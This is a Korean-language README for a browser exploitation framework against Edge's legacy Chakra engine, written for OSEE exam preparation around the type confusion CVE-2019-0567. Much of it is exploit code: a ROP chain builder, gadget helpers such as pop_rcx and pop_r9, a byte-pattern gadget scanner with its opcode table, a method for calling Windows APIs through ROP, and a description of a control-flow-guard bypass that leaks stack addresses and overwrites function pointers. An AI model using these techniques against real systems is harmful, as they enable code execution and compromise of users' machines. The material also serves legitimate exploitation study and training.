
Chakra(Edge)용 브라우저 익스플로잇 프레임워크. OSEE 준비 과정의 일부로 작성됨. 데모 버그: CVE-2019-0567
이 저장소는 EXP-401 과정을 준비하기 위해 작성한 브라우저 익스플로잇 프레임워크를 포함합니다. 이 프레임워크는 2019년 Edge가 v8로 전환될 때까지 Edge의 일부였던 Chakra 엔진을 대상으로 합니다.
프레임워크에서 사용된 데모 취약점은 CVE-2019-0567 타입 혼동입니다.

이 프레임워크를 사용하기 쉽게 만들기 위해, 향후 샌드박스 탈출 구현을 매우 쉽게 해주는 몇 가지 멋진 기능을 작성했습니다.
프레임워크는 Windows API를 높은 수준에서 호출할 수 있게 합니다. GetProcAddress ROP 체인을 사용하여 모든 API를 해석하며, 최대 4개의 매개변수를 허용합니다.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
제가 사용한 CFG 우회는 leafInterpreterFrame 기술이었습니다. 몇 개의 객체를 탐색하여 스택 주소를 유출할 수 있습니다. 여기서 함수 포인터를 찾아 덮어쓰고 실행 권한을 얻을 수 있습니다. 제 버전의 Chakra로 이식하는 것이 약간 까다로워서 여기에 블로그를 작성했습니다.
한 친구가 JavaScript 영역으로 돌아오는 것을 매우 쉽게 만드는 정말 좋은 기술을 보여주었습니다. 그들은 CFG 우회를 [1].map() 호출로 감싸서, 부모 함수에서 실행을 계속할 수 있게 합니다. 코드가 훨씬 깔끔해 보입니다. 그 예제는 여기에서 볼 수 있습니다.
많은 Windows API는 매개변수와 버퍼가 정렬되어야 합니다. 이전에는 .data 섹션에 매개변수를 배치하여 Windows API를 호출했는데 매우 고통스러웠습니다. 결국, ROP에서 VirtualAlloc을 호출한 다음 다른 객체가 버퍼에서 메모리를 malloc할 수 있도록 하는 자체 메모리 할당자를 작성했습니다. 메모리 할당자는 또한 항상 정렬된 버퍼를 반환합니다!
ROP 체인을 작성하는 방법은 다음과 같습니다:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
기본 ROP 가젯은 작은 함수로 구현되어 있습니다:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
이렇게 하면 pop r9와 같은 상위 수준 동작을 수행하기 위해 더 복잡한 가젯 체인을 만들 수 있습니다. 적절한 가젯이 없었기 때문에 몇 가지를 조합하여 구현했습니다:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
프레임워크의 이식성을 높이기 위해 ROP 패턴 스캐너도 있습니다. read 프리미티브를 사용하여 필요한 체인을 형성하는 바이트 시퀀스를 스캔합니다.
또한 스캐너의 성능을 크게 향상시키는 전역 캐시가 있습니다.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}